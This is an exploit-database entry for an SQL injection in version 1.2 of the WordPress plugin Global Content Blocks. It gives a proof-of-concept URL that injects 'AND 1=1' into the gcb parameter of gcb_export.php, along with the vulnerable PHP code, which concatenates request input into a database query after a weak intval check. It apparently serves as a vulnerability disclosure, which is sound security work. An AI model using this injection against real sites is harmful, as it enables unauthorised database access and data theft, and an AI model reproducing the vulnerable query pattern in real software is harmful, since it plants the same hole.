WordPress Plugin Global Content Blocks 1.2 - SQL Injection

Author: Miroslav Stampar
type: webapps
platform: php
port: 
date_added: 2011-08-18 
date_updated: 2011-08-18 
verified: 1 
codes: OSVDB-74577 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comglobal-content-blocks.1.2.zip

# Exploit Title: WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/global-content-blocks.1.2.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1

---------------
Vulnerable code
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$ids = explode(";",$_GET["gcb"]);
$final_text = array();

foreach($ids as $id) {
    if(intval($id)>0) { // intval("1a") => 1 :)
        $entry = $wpdb->get_row("select * from ".$wpdb->prefix."gcb where id=".$id);
        $final_text[] =
        base64_encode($entry->name)."<;>".
        base64_encode($entry->description)."<;>".
        base64_encode($entry->value)."<;>".
        base64_encode($entry->type);
    }
}